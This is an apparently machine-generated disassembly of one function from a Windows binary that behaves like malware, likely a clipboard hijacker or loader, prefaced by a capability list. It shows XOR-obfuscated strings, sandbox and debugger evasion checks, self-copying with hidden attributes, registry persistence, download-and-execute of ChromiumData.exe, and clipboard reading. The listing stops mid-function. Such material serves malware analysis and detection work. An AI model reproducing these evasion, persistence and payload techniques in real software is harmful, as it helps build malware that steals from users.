Function at 0x14007b270
Capabilities:
Capture public ip
Check for debugger via api
Copy file
Create http request
Create process on windows
Download and write a file
Get common file path
Get memory capacity
Get system information on windows
Open clipboard
Persist via application shimming
Read clipboard data
Read data from internet
Receive and write data from server to client
Receive data
Set file attributes
Set registry value
Write and execute a file
Write clipboard data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1720]
mov eax, 0x1820
call fcn.140186310
sub rsp, rax
mov rax, qword [0x140361e80]
xor rax, rsp
mov qword [rbp + 0x1710], rax
xor r13d, r13d
mov dword [rbp - 0x20], r13d
mov byte [rsp + 0x48], 0x51
mov al, 0x30
mov cl, 4
mov dl, 0x3a
mov r8b, 0x1b
mov r9b, 0x7a
mov r10b, 0x35
movzx r11d, cl
movzx ebx, r8b
mov dil, 0x26
xor esi, esi
xor al, 0x51
mov byte [rsp + 0x49], al
xor cl, 0x51
mov byte [rsp + 0x4a], cl
xor dl, 0x51
mov byte [rsp + 0x4b], dl
xor r8b, 0x51
mov byte [rsp + 0x4c], r8b
xor r9b, 0x51
mov byte [rsp + 0x4d], r9b
xor r10b, 0x51
mov byte [rsp + 0x4e], r10b
xor r11b, 0x51
mov byte [rsp + 0x4f], r11b
xor bl, 0x51
mov byte [rsp + 0x50], bl
xor dil, 0x51
mov byte [rsp + 0x51], dil
mov byte [rsp + 0x52], sil
lea r8, [rsp + 0x49]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
je 0x14007b341
xor eax, eax
jmp 0x14007be49
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
mov r8d, 0x17
lea rdx, str.http:__ip_api.com_line_
lea rcx, [rbp + 0x20]
call fcn.1400835f0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x180]
call fcn.140079270
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14007b3b3
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b3ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d12b
call fcn.1401855ec
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], recv
mov byte [rbp + 0x20], 0
lea rdi, [rbp + 0x180]
mov r15, qword [rbp + 0x180]
mov r12, qword [rbp + 0x198]
cmp r12, 0xf
cmova rdi, r15
mov rbx, qword [rbp + 0x190]
cmp rbx, 1
jbe 0x14007b409
lea r8, [rbx - 1]
lea rcx, [rdi + 1]
mov edx, 0xa
call fcn.1401bb160
test rax, rax
je 0x14007b409
sub rax, rdi
jmp 0x14007b410
mov rax, 0xffffffffffffffff
inc rax
lea rsi, [rbp + 0x180]
cmp r12, 0xf
cmova rsi, r15
cmp rax, rbx
jae 0x14007b448
mov r8, rbx
sub r8, rax
lea rcx, [rsi + rax]
mov edx, 0xa
call fcn.1401bb160
mov rdi, rax
test rax, rax
je 0x14007b448
sub rdi, rsi
jmp 0x14007b44f
mov rdi, 0xffffffffffffffff
lea rsi, [rdi + 1]
lea r14, [rbp + 0x180]
cmp r12, 0xf
cmova r14, r15
cmp rsi, rbx
jae 0x14007b488
mov r8, rbx
sub r8, rsi
lea rcx, [r14 + rsi]
mov edx, 0xa
call fcn.1401bb160
mov r8, rax
test rax, rax
je 0x14007b488
sub r8, r14
jmp 0x14007b48f
mov r8, 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], r13
cmp rbx, rsi
jb 0x14007d131
sub r8, rdi
dec r8
sub rbx, rsi
cmp rbx, r8
cmovb r8, rbx
lea rdx, [rbp + 0x180]
cmp r12, 0xf
cmova rdx, r15
add rdx, rsi
lea rcx, [rbp + 0x140]
call fcn.1400835f0
mov r12d, 1
mov r13d, r12d
lea rcx, [rbp + 0x140]
mov rbx, qword [rbp + 0x140]
mov rsi, qword [rbp + 0x158]
cmp rsi, 0xf
cmova rcx, rbx
mov rdi, qword [rbp + 0x150]
cmp rdi, 2
jne 0x14007b528
mov r8, rdi
lea rdx, [0x140347eb8]
call fcn.1401bb080
test eax, eax
je 0x14007b69e
lea rcx, [rbp + 0x140]
cmp rsi, 0xf
cmova rcx, rbx
cmp rdi, 2
jne 0x14007b554
mov r8, rdi
lea rdx, [0x140347ebc]
call fcn.1401bb080
test eax, eax
je 0x14007b69e
xor r14b, r14b
mov dword [rbp - 0x18], r14d
lea rcx, [rbp + 0x140]
cmp rsi, 0xf
cmova rcx, rbx
cmp rdi, 2
jne 0x14007b58d
mov r8, rdi
lea rdx, [0x140347ec0]
call fcn.1401bb080
movzx r14d, r14b
test eax, eax
cmove r14d, r12d
mov dword [rbp - 0x18], r14d
lea rcx, str.false
lea rax, str.true
cmp rcx, rax
jne 0x14007b6a8
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x10], 2
jb 0x14007b69e
mov dword [rbp + 0xe0], 0x40
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0xe8]
shr rax, 0x14
xor edi, edi
cmp eax, 0x800
jb 0x14007b6a0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
mov r8d, 3
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rdi
lea rcx, [rbp - 0x20]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp + 0x94]
mov ecx, dword [rbp + 0x90]
imul rax, rcx
mov ecx, dword [rbp + 0x8c]
imul rax, rcx
imul rax, qword [rbp + 0x80]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x14007b6a0
mov dword [rbp + 0x40], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 0x40], edi
jne 0x14007b6a0
mov byte [rsp + 0x40], 1
jmp 0x14007b6af
xor edi, edi
mov r12d, edi
jmp 0x14007bdcd
mov byte [rsp + 0x40], 0
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rdi
mov r8d, 0x20
lea rdx, str.F7D9726BB836457282944FF14799BDF9
lea rcx, [rbp + 0x20]
call fcn.1400835f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x138], rdi
mov r8d, 0x50
lea rdx, str.LkMwSQ0dGXN2Dx0CARsDBRYECA4Mfn4JG1RYCXJ1dQ5_DndaDwYOJntZVVNXBgVXXFdcAAZf1VXGA
lea rcx, [rbp + 0x120]
call fcn.1400835f0
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0xb8]
call fcn.140079960
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14007b761
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b75b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d137
call fcn.1401855ec
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14007b79c
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007b797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d13d
call fcn.1401855ec
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x120]
call fcn.140079270
nop
lea rcx, [rbp + 0x120]
mov rdi, qword [rbp + 0x120]
mov r15, qword [rbp + 0x138]
cmp r15, 0xf
cmova rcx, rdi
mov r14, qword [rbp + 0x130]
cmp r14, 5
jne 0x14007b7f6
mov r8, r14
lea rdx, str._pro_
call fcn.1401bb080
test eax, eax
jne 0x14007b7f6
mov byte [0x140362c00], 1
jmp 0x14007b824
lea rcx, [rbp + 0x120]
cmp r15, 0xf
cmova rcx, rdi
cmp r14, 8
jne 0x14007b824
mov r8, r14
lea rdx, str._simple_
call fcn.1401bb080
test eax, eax
jne 0x14007b824
mov byte [0x140362c00], al
xor r14d, r14d
mov qword [rbp - 0x20], r14
mov qword [rbp + 0x40], r14
lea r8, str.localappdata
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.140196570
test eax, eax
jne 0x14007bd3b
mov rdx, qword [rbp - 0x20]
test rdx, rdx
je 0x14007bd3b
mov r8, qword [rbp + 0x40]
dec r8
lea rcx, [rsp + 0x70]
call fcn.14007f790
nop
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140082be0
nop
lea rcx, [rsp + 0x70]
call fcn.140076210
mov rcx, qword [rbp - 0x20]
call fcn.14019580c
mov byte [rsp + 0x60], 0x62
mov al, 7
mov cl, 0xc
mov dl, 0x16
movzx r8d, al
mov r9b, reloc.WS2_32.dll_recv
mov r10b, send
mov r11b, 0x4c
movzx ebx, al
mov dil, 0x1a
movzx esi, al
xor al, 0x62
mov byte [rsp + 0x61], al
xor cl, 0x62
mov byte [rsp + 0x62], cl
xor dl, 0x62
mov byte [rsp + 0x63], dl
xor r8b, 0x62
mov byte [rsp + 0x64], r8b
xor r9b, 0x62
mov byte [rsp + 0x65], r9b
xor r10b, 0x62
mov byte [rsp + 0x66], r10b
xor r11b, 0x62
mov byte [rsp + 0x67], r11b
xor bl, 0x62
mov byte [rsp + 0x68], bl
xor dil, 0x62
mov byte [rsp + 0x69], dil
xor sil, 0x62
mov byte [rsp + 0x6a], sil
mov byte [rsp + 0x6b], r14b
lea rax, [rsp + 0x61]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xe0]
call fcn.140082c30
nop
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x60]
call fcn.140077c60
nop
lea rcx, [rbp + 0xe0]
call fcn.140077df0
mov r8d, 0x104
lea rdx, [rbp + 0x4f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x160]
call fcn.140082c90
nop
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x160]
call fcn.140077c20
test al, al
je 0x14007be79
lea rcx, [rbp + 0x20]
call fcn.140076270
nop
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
nop
mov rdx, rax
lea rcx, [0x140368e00]
call fcn.140082ce0
nop
lea rcx, [rbp + 0xe0]
call fcn.140076210
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
nop
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140082be0
nop
lea rcx, [rbp + 0xe0]
call fcn.140078770
movzx ebx, al
lea rcx, [rbp + 0xe0]
call fcn.140077df0
nop
lea rcx, [rsp + 0x70]
call fcn.140076210
test bl, bl
je 0x14007ba48
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
nop
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140082be0
nop
lea rcx, [rbp + 0xe0]
call fcn.140078870
nop
lea rcx, [rbp + 0xe0]
call fcn.140077df0
nop
lea rcx, [rsp + 0x70]
call fcn.140076210
lea rdx, str.start_cmd__C__ping_localhost__n_1__start
lea rcx, [rbp + 0x20]
call fcn.14007f560
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
nop
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14007f580
nop
lea rcx, [rbp + 0xe0]
call fcn.140076210
lea rdx, [0x1403479a4]
lea rcx, [rbp + 0x20]
call fcn.14007f560
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
nop
mov rcx, rax
call fcn.14007f550
mov rbx, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x160]
call fcn.1400779d0
mov rcx, rax
call fcn.14007f550
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp + 0xe0]
call fcn.140076210
nop
lea rcx, [rsp + 0x70]
call fcn.140076210
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
mov rcx, rax
call fcn.14007f550
mov rcx, rax
mov edx, 0x22
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0xe0]
call fcn.140076210
mov qword [rbp - 0x18], 0
movdqa xmm1, xmmword [str.g4__305__]
movdqu xmmword [rbp - 0x10], xmm1
movdqa xmm2, xmmword [0x1403487d0]
movdqu xmmword [rbp], xmm2
mov cl, 2
mov dl, 9
mov r8b, reloc.WS2_32.dll_send
mov r9b, 0x31
movzx r10d, cl
mov bl, 0x15
mov dil, 0x14
mov sil, recv
mov r14b, 8
movzx r15d, dl
mov r12b, 0x3b
mov r13b, 0x35
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rbp - 0xf], al
xor byte [rbp - 0xe], r11b
xor byte [rbp - 0xd], r11b
xor byte [rbp - 0xc], r11b
xor byte [rbp - 0xb], r11b
xor byte [rbp - 0xa], r11b
xor byte [rbp - 9], r11b
xor byte [rbp - 8], r11b
xor byte [rbp - 7], r11b
xor byte [rbp - 6], r11b
xor byte [rbp - 5], r11b
xor byte [rbp - 4], r11b
xor byte [rbp - 3], r11b
xor byte [rbp - 2], r11b
xor byte [rbp - 1], r11b
movd eax, xmm2
xor al, r11b
mov byte [rbp], al
xor byte [rbp + 1], r11b
xor byte [rbp + 2], r11b
xor byte [rbp + 3], r11b
xor byte [rbp + 4], r11b
xor byte [rbp + 5], r11b
xor byte [rbp + 6], r11b
xor byte [rbp + 7], r11b
xor byte [rbp + 8], r11b
xor byte [rbp + 9], r11b
xor byte [rbp + 0xa], r11b
xor byte [rbp + 0xb], r11b
xor byte [rbp + 0xc], r11b
xor byte [rbp + 0xd], r11b
xor byte [rbp + 0xe], r11b
xor byte [rbp + 0xf], r11b
xor cl, r11b
mov byte [rbp + 0x10], cl
xor dl, r11b
mov byte [rbp + 0x11], dl
xor r8b, r11b
mov byte [rbp + 0x12], r8b
xor r9b, r11b
mov byte [rbp + 0x13], r9b
xor r10b, r11b
mov byte [rbp + 0x14], r10b
xor bl, r11b
mov byte [rbp + 0x15], bl
xor dil, r11b
mov byte [rbp + 0x16], dil
xor sil, r11b
mov byte [rbp + 0x17], sil
xor r14b, r11b
mov byte [rbp + 0x18], r14b
xor r15b, r11b
mov byte [rbp + 0x19], r15b
xor r12b, r11b
mov byte [rbp + 0x1a], r12b
xor r13b, r11b
mov byte [rbp + 0x1b], r13b
mov al, send
xor al, r11b
mov byte [rbp + 0x1c], al
mov al, 9
xor al, r11b
mov byte [rbp + 0x1d], al
mov byte [rbp + 0x1e], 0
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0xf]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
nop
mov ebx, dword [rax + 0x10]
inc ebx
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x60]
call fcn.1400779d0
mov rcx, rax
call fcn.14007f550
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.enters
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, [rbp + 0xe0]
call fcn.140076210
nop
lea rcx, [rsp + 0x70]
call fcn.140076210
lea rcx, [rbp + 0x20]
call fcn.14007f550
mov rcx, rax
call fcn.140194a94
nop
lea rcx, [rbp + 0x20]
call fcn.140076210
nop
lea rcx, [rbp + 0x160]
call fcn.140077df0
nop
lea rcx, [rbp + 0x60]
call fcn.140077df0
nop
lea rcx, [rbp + 0x98]
call fcn.140077df0
xor r14d, r14d
mov r12d, r14d
mov rbx, qword [rbp + 0x140]
mov rdi, qword [rbp + 0x120]
mov rsi, qword [rbp + 0x158]
mov r15, qword [rbp + 0x138]
cmp r15, 0xf
jbe 0x14007bd73
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14007bd6a
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d143
mov rcx, rdi
call fcn.1401855ec
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x14007bdb4
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bdaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1f8
call fcn.1401855ec
mov qword [rbp + 0xc8], r14
mov qword [rbp + 0xd0], recv
mov byte [rbp + 0xb8], 0
cmp rsi, 0xf
jbe 0x14007be05
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14007bdfc
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d1fe
mov rcx, rbx
call fcn.1401855ec
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14007be46
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007be41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d11f
call fcn.1401855ec
mov eax, r12d
mov rcx, qword [rbp + 0x1710]
xor rcx, rsp
call fcn.140185590
lea r11, [rsp + 0x1820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x160]
call fcn.140077df0
nop
lea rcx, [rbp + 0x60]
call fcn.140077df0
nop
lea rcx, [rbp + 0x98]
call fcn.140077df0
lea r8, [0x14036a4d0]
lea rdi, [0x14036a570]
mov rdx, rdi
lea rcx, [rbp + 0xe0]
call fcn.140079960
mov rbx, rax
cmp rdi, rax
je 0x14007bf48
mov rdx, qword [0x14036a588]
cmp rdx, 0xf
jbe 0x14007bf06
mov rcx, qword [0x14036a570]
inc rdx
cmp rdx, 0x1000
jb 0x14007bf01
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007d149
mov rcx, r8
call fcn.1401855ec
xor r15d, r15d
mov qword [0x14036a580], r15
mov qword [0x14036a588], 0xf
mov byte [0x14036a570], r15b
movups xmm0, xmmword [rbx]
movups xmmword [0x14036a570], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x14036a580], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], recv
mov byte [rbx], r15b
jmp 0x14007bf4b
xor r15d, r15d
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14007bf8c
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007bf87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d149
call fcn.1401855ec
cmp byte [rbp - 0x18], 1
jne 0x14007c32e
mov rcx, rdi
call fcn.14007f550
mov rdi, rax
lea rdx, [rbp + 0x4f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x3e0]
call fcn.140082d00
lea rdx, str.ChromiumDatagram.txt
lea rcx, [rbp + 0x3e0]
call fcn.140082d10
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x600]
call fcn.140082d00
lea rdx, str.ChromiumData.exe
lea rcx, [rbp + 0x600]
call fcn.140082d10
lea rcx, [rbp + 0x2d0]
call fcn.14007d2b0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x2d0]
call fcn.14007e3e0
nop
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xe0]
call fcn.140082c90
nop
lea rcx, [rbp + 0xe0]
call fcn.140078770
movzx ebx, al
lea rcx, [rbp + 0xe0]
call fcn.140077df0
test bl, bl
jne 0x14007c1c1
lea rcx, [rbp + 0x1c0]
call fcn.14007d360
mov r8d, 2
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x1c0]
call fcn.14007d4a0
nop
xor edx, edx
lea rcx, [rbp + 0x1c0]
call fcn.14007f120
lea rcx, [rbp + 0x1c0]
call fcn.14007d400
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14007c0e4
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x600]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14007c12c
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp + 0x40], r15d
lea r9, [rbp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x710]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14007c194
nop
mov r8d, dword [rbp + 0x40]
test r8d, r8d
je 0x14007c194
mov dword [rbp - 0x20], r15d
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x20]
lea rdx, [rbp + 0x710]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x40]
mov r8d, 0x1000
lea rdx, [rbp + 0x710]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14007c150
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
lea rcx, [rbp + 0x1c0]
call fcn.14007d2c0
jmp 0x14007c322
lea rcx, [rbp + 0x1a0]
call fcn.140076270
nop
xor dil, dil
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x310]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x68], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rsp + 0x60]
call fcn.1400822c0
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx ebx, al
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14007c234
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14007c234
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, r12d
mov rcx, rax
call r8
movzx r8d, bl
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x2d0]
call fcn.1400859c0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x14007c28a
lea rax, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0xf
cmova rax, qword [rbp + 0x1a0]
cmp qword [rbp + 0x1b0], 1
jne 0x14007c1d1
cmp byte [rax], 0x31
jne 0x14007c1d1
mov dil, 1
lea rcx, [rbp + 0x2d0]
call fcn.14007e340
test dil, dil
jne 0x14007c315
lea rcx, [rbp + 0x1c0]
call fcn.14007d360
mov r8d, 8
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x1c0]
call fcn.14007d4a0
nop
lea rcx, [rbp + 0x1c0]
call fcn.140082b10
mov edx, r12d
mov rcx, rax
call fcn.14007f120
lea rcx, [rbp + 0x1c0]
call fcn.14007d400
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x600]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp + 0x1c0]
call fcn.14007d2c0
nop
lea rcx, [rbp + 0x1a0]
call fcn.140076210
nop
lea rcx, [rbp + 0x2d0]
call fcn.14007d210
mov byte [rsp + 0x48], reloc.WS2_32.dll_recv
mov al, 0x71
mov cl, 0x45
mov dl, 0x7b
mov r8b, 0x5a
mov r9b, 0x3b
mov r10b, reloc.WS2_32.dll_WSACleanup
movzx r11d, cl
movzx ebx, r8b
mov dil, 0x67
xor esi, esi
xor al, 0x10
mov byte [rsp + 0x49], al
xor cl, 0x10
mov byte [rsp + 0x4a], cl
xor dl, 0x10
mov byte [rsp + 0x4b], dl
xor r8b, 0x10
mov byte [rsp + 0x4c], r8b
xor r9b, 0x10
mov byte [rsp + 0x4d], r9b
xor r10b, 0x10
mov byte [rsp + 0x4e], r10b
xor r11b, 0x10
mov byte [rsp + 0x4f], r11b
xor bl, 0x10
mov byte [rsp + 0x50], bl
xor dil, 0x10
mov byte [rsp + 0x51], dil
mov byte [rsp + 0x52], sil
lea r8, [rsp + 0x49]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp dword [0x14036a2f4], eax
je 0x14007c3b5
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14007c3b5
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
je 0x14007c428
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14007c400
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.1400835f0
movups xmm1, xmmword [rbp + 0x20]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbp], xmm0
mov al, 1
or r13d, 2
mov byte [rbp + 0x10], al
test al, al
je 0x14007d0be
cmp qword [rbp], 0
je 0x14007d0be
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x60]
call fcn.14007f7c0
nop
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xe0]
call fcn.14007f7c0
nop
mov r14, qword [0x14036a378]
mov rsi, qword [0x14036a380]
cmp r14, rsi
je 0x14007cfcd
nop dword [rax + rax]
cmp qword [r14 + 0x38], 0
je 0x14007c578
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], recv
mov byte [rbp + 0x20], 0
bts r13d, 0xa
mov dword [rbp - 0x20], r13d
lea r9, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r9, qword [rbp + 0x60]
add r9, qword [rbp + 0x70]
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r8, qword [rbp + 0x60]
lea rax, [r14 + 0x28]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.140086ca0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14007c522
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c51d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d14f
call fcn.1401855ec
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rbp + 0x30]
movups xmmword [rbp + 0x70], xmm1
